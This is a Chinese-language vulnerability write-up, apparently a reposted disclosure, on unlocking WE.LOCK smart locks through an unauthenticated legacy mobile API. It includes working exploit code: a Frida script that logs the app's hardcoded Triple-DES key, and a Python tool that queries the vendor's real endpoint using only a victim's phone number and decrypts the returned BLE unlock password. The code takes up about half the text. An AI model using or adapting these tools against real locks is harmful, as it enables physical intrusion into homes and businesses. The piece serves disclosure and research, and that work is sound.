WE.LOCK-利用网络漏洞解锁智能锁|通过api提取并解密密码

WE.LOCK-利用网络漏洞解锁智能锁|通过api提取并解密密码

介绍

WE.LOCK是一家生产和销售智能锁的智能家居门禁解决方案提供商。

WE.LOCK 智能锁可以使用指纹、访问代码、RFID、通过蓝牙 (BLE) 的智能手机应用程序或随锁提供的物理钥匙解锁。在本文中,我们将重点介绍适用于 Android 的智能手机应用程序、移动 API 以及两者的安全性。

2021 年 5 月 24 日,Android 版WeLock应用程序的新版本(v3.1.1)发布。更改日志指出 UI 已更新,但未提及移动应用程序绑定到新的移动 API。这是有原因的,因为仍然受支持的旧 API 可能在设计时没有考虑安全性,因此存在多个严重的安全漏洞。这些漏洞很容易被利用来访问任意用户帐户并解锁与目标帐户相关联的所有智能锁。

接下来的章节描述了一个已识别的漏洞,完美地说明了旧移动 API 的安全性有多糟糕。供应商尚未对我们的漏洞通知尝试做出回应,但我们怀疑该供应商可能已意识到安全问题,因此已开始迁移到新的(当前)移动 API。在关闭旧的和不安全的 API 之前,使用 WE.LOCK 智能锁保护的商业或住宅物业将面临风险。

移动应用逆向

安卓版WeLock应用2.5.8.0427版本(2021年4月27日发布)及之前版本连接API welock.we-lock.com.cn。该应用程序受Jiagu 加壳器保护,classes.dex 文件已加密,但加壳器不会阻止动态检测。此外,应用程序和移动 API 端点之间的通信是通过未加密的通道 (HTTP) 进行的。为了弥补这一点,参数字符串和响应使用三重 DES 加密算法进行加密。加密密钥在移动应用程序中进行了硬编码,并且可以从正在运行的应用程序的捕获堆转储或使用动态检测框架(例如Frida)中提取(无需处理 Jiagu 打包程序)。

编写了一个使用 Frida 的简单 python脚本。它的主要目的是挂钩 Java 类SecretKeySpec并记录密钥,包括 Triple-DES 密钥:

WE.LOCK-利用网络漏洞解锁智能锁|通过api提取并解密密码

Web 应用程序漏洞

移动 API 提供了几个处理程序,可用于调用不同的操作。请求参数parmsStr包含加密和 Base64 编码的参数字符串。例如,userBleList2操作期望参数字符串的格式为“Mobile=11111111111”。在这种情况下,数字代表与用户帐户关联的移动电话号码。参数字符串和相应的 HTTP 请求都不包含会话标识符或访问令牌,这表明它是经过身份验证的 API 调用。这表明攻击者调用此 API 所需的只是目标智能锁所有者的手机号码

以下 HTTP POST 请求说明了userBleList2操作调用。

WeLock 应用程序添加了自定义 HTTP 标头,例如UsersessionsessionId,但没有传输实际值:

POST //Handler/Ashx_userBle.ashx?Action=userBleList2 HTTP/1.1
Appkey: 
Udid: 
Os: android
Osversion: 
Appversion: 
Sourceid: 
Ver: 
Userid: 
Usersession: 
Unique: 
sessionId: 
Content-Length: 41
Content-Type: application/x-www-form-urlencoded
Host: welock.we-lock.com.cn
Connection: close
User-Agent: Mozilla/5.0 (Linux; U; Android 10; en-us; Pixel Build/QP1A.190711.020) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1
Accept-Encoding: gzip, deflate

parmsStr=EGAga/fKnPxprPR6FdM9SgLVddLkLSDW

userBleList2动作返回所有链接到特定帐户,这是一个手机号码指示的智能门锁的配置详情。所述welock_crypto_tool.py工具实现API调用userBleList2动作和照顾的参数串的加密和响应的解密(插入提取三重DES密钥之后)。当仅知道现有用户帐户的手机号码时,该工具可用于检索配置详细信息:

WE.LOCK-利用网络漏洞解锁智能锁|通过api提取并解密密码

配置详细信息包括加密的(使用相同的 Triple-DES 密钥)通信密码。WeLock 应用程序使用此密码通过 BLE 连接解锁智能锁。所述welock_crypto_tool.py工具也可以用来解密加密BLE通信密码:

WE.LOCK-利用网络漏洞解锁智能锁|通过api提取并解密密码

此时,靠近目标智能锁的攻击者将能够启动 BLE 连接并使用解密的通信密码解锁目标智能锁。

正如我们所看到的,旧的 API 允许我们在只知道受害者的电话号码的情况下检索密码和其他机密信息。

披露时间表:

  • 2021-01-07 – 就安全漏洞联系 WE.LOCK 支持,没有回应。
  • 2021-03-04 – 就安全漏洞联系 WE.LOCK 支持,没有回应。
  • 2021-05-06 – 就安全漏洞联系 WE.LOCK 支持,没有回应。
  • 2021-06-02 – 文章发布。

工具代码:

welock_crypto_tool.py

import sys, json, requests
from Crypto.Cipher import DES3
from base64 import b64decode, b64encode

key = b"insert_the_extracted_3DES_key_here"
url = "http://welock.we-lock.com.cn/Handler/Ashx_userBle.ashx?Action=userBleList2"

def des3_encrypt(key, data):
    encryptor = DES3.new(key, DES3.MODE_ECB)
    pad_len = 8 - len(data) % 8 
    padding = chr(pad_len) * pad_len
    data += padding
    return encryptor.encrypt(data)

def des3_decrypt(key, data):
    encryptor = DES3.new(key, DES3.MODE_ECB)
    result = encryptor.decrypt(data)
    pad_len = result[-1]
    result = result[:-pad_len]
    return result

def print_help(name):
    print("Usage: %s command argument" % name)
    print("\nCommands:\n",
    "get_config <mobile_number>",
    "decrypt <base64_string>",
    "encrypt <plain_string>",
    sep="\n"
    )
    
if __name__=='__main__':
    if len(sys.argv) != 3:
        print_help(sys.argv[0])
        sys.exit(1)
    
    if sys.argv[1] == "get_config":
        paramstr = b64encode(des3_encrypt(key, "Mobile={0}".format(sys.argv[2])))
        post_data = {"parmsStr": paramstr}
        response = requests.post(url = url, data = post_data)
        decrypted_data = des3_decrypt(key, b64decode(json.loads(response.content.decode('utf-8'))["data"]))
        print(json.dumps(json.loads(decrypted_data.decode()), indent=4))
    elif sys.argv[1] == "decrypt":
        print(des3_decrypt(key, b64decode(sys.argv[2])).decode())
    elif sys.argv[1] == "encrypt":
        print(b64encode(des3_encrypt(key, sys.argv[2])).decode())
    else:
        print_help(sys.argv[0])
        sys.exit(1)

welock_log_keys.py

import frida, sys
 
ss = """

function toPrintableString(byteArray) {
  return Array.from(byteArray, function(byte) {
    var charcode = parseInt(('0' + (byte & 0xFF).toString(16)).slice(-2), 16);
    if (charcode < 32 || charcode > 127) {
        return ".";
    } else {
        return String.fromCharCode(charcode); 
    }
  }).join('')
}

function toHexString(byteArray) {
  return Array.from(byteArray, function(byte) {
    return ('0' + (byte & 0xFF).toString(16)).slice(-2);
  }).join('')
}

Java.perform(function() {
    Java.use('javax.crypto.spec.SecretKeySpec').$init.overload('[B', 'java.lang.String').implementation = function(key, algorithm) {
        console.log("SecretKeySpec('" + toHexString(key) + ",'" + algorithm + "') | " + toPrintableString(key));
        return this.$init(key, algorithm);
    };

});

"""

device = frida.get_usb_device()
pid = device.spawn(["cn.sixpower.wlock"])
session = device.attach(pid)
script = session.create_script(ss)
script.load()
device.resume(pid)
sys.stdin.read()

GitHub

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注